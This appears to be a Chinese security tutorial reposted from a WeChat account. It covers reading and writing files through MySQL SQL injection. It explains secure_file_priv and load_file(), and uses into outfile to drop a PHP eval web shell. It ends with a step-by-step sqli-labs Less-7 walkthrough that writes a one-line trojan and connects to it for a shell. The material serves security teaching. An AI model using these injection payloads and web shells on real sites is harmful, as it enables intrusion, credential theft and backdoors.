01
读写文件的基本条件和使用
数据库允许导出
secure_file_prive参数的设置 |
含义 |
secure_file_prive=null |
限制mysqld 不允许导入导出 |
secure_file_priv=/tmp/ |
限制mysqld的导入导出只能发生在/tmp/目录下 |
secure_file_priv=' ' |
不对mysqld 的导入导出做限制 |
用户文件操作权限
show grants for 你的用户
show grants for root@'localhost';
grant 权限 on 数据库.数据表 to '用户' @ '主机名';
grant all on *.* to 'xiaogang'@'%';
这个时候 xiaogang 就拥有所有权限了
load_file()读文件
-
load_file,后面的路径可以是单引号、0x、char转换的字符。这记得路径中的斜杠是/而不是。一般用load_file来看config.php(即mysql的密码),apache配置、servu密码等。前提是要知道物理路径。 -
load_file可以在union中作为一个字段来用。如union select 1,load_file('c:/boot.ini'),3,4 from ka_admin等。 -
load_file可以在where字句中使用。如 and length(load_file(0x633A2F626F6F742E696E69))>1
into outfile()写文件
-
outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径。这个问题在php注入中更加麻烦,因为会自动将单引号转义成',那么基本没的玩了。
-
outfile一句话(经典):select '<?php eval($_POST[cmd])?>' into outfile 'D:/PHPnow-1.5.4/htdocs/index2.php'
-
或者从表中 -
select * from a into outfile 'D:/PHPnow-1.5.4/htdocs/index2.php'
into dumpfile()写文件
outfile 与 dumpfile 的区别
-
outfile函数可以导出多行,而dumpfile只能导出一行数据
-
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
-
dumpfile适用于二进制文件,它会将目标文件吸入同一行内;outfile则更适用于文本文件
02
SQL Server 读写文件简单介绍
03
SQL注入写入读取文件实验
1、判断是否存在SQL注入,我们输入http://www.any.com/sqli/Less-7/?id=1,发现页面返回正常。
2、加入单引号,输入www.any.com/sqli/Less-7/?id=1',此时发现页面返回不正常,报错,这是我们判断此处存在SQL注入
3、此时我们来判断闭合字符
输入http://www.any.com/sqli/Less-7/?id=1' and 1=1 %23,回显不正常
输入http://www.any.com/sqli/Less-7/?id=1') and 1=1 %23,回显不正常
输入http://www.any.com/sqli/Less-7/?id=1')) and 1=1 %23,回显正常
输入http://www.any.com/sqli/Less-7/?id=1')) and 1=2 %23,回显不正常
4、这时我们就要利用以上所学知识写入一句话木马文件,我们访问:
http://www.any.com/sqli/Less-7/?id=1')) union select 1,'2','<?php @eval($_POST[a]);?>' into outfile 'c:/www/2.php'%23
5、此时,我们上菜刀,右击点击空白处,选择添加,在对话框中输入http://www.any.com/2.php,密码填写a,点击添加即可获取shell
如有侵权,请联系删除。
扫码关注我们
查看更多精彩内容
原文始发于微信公众号(长风实验室):SQL注入 | 读取写入文件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论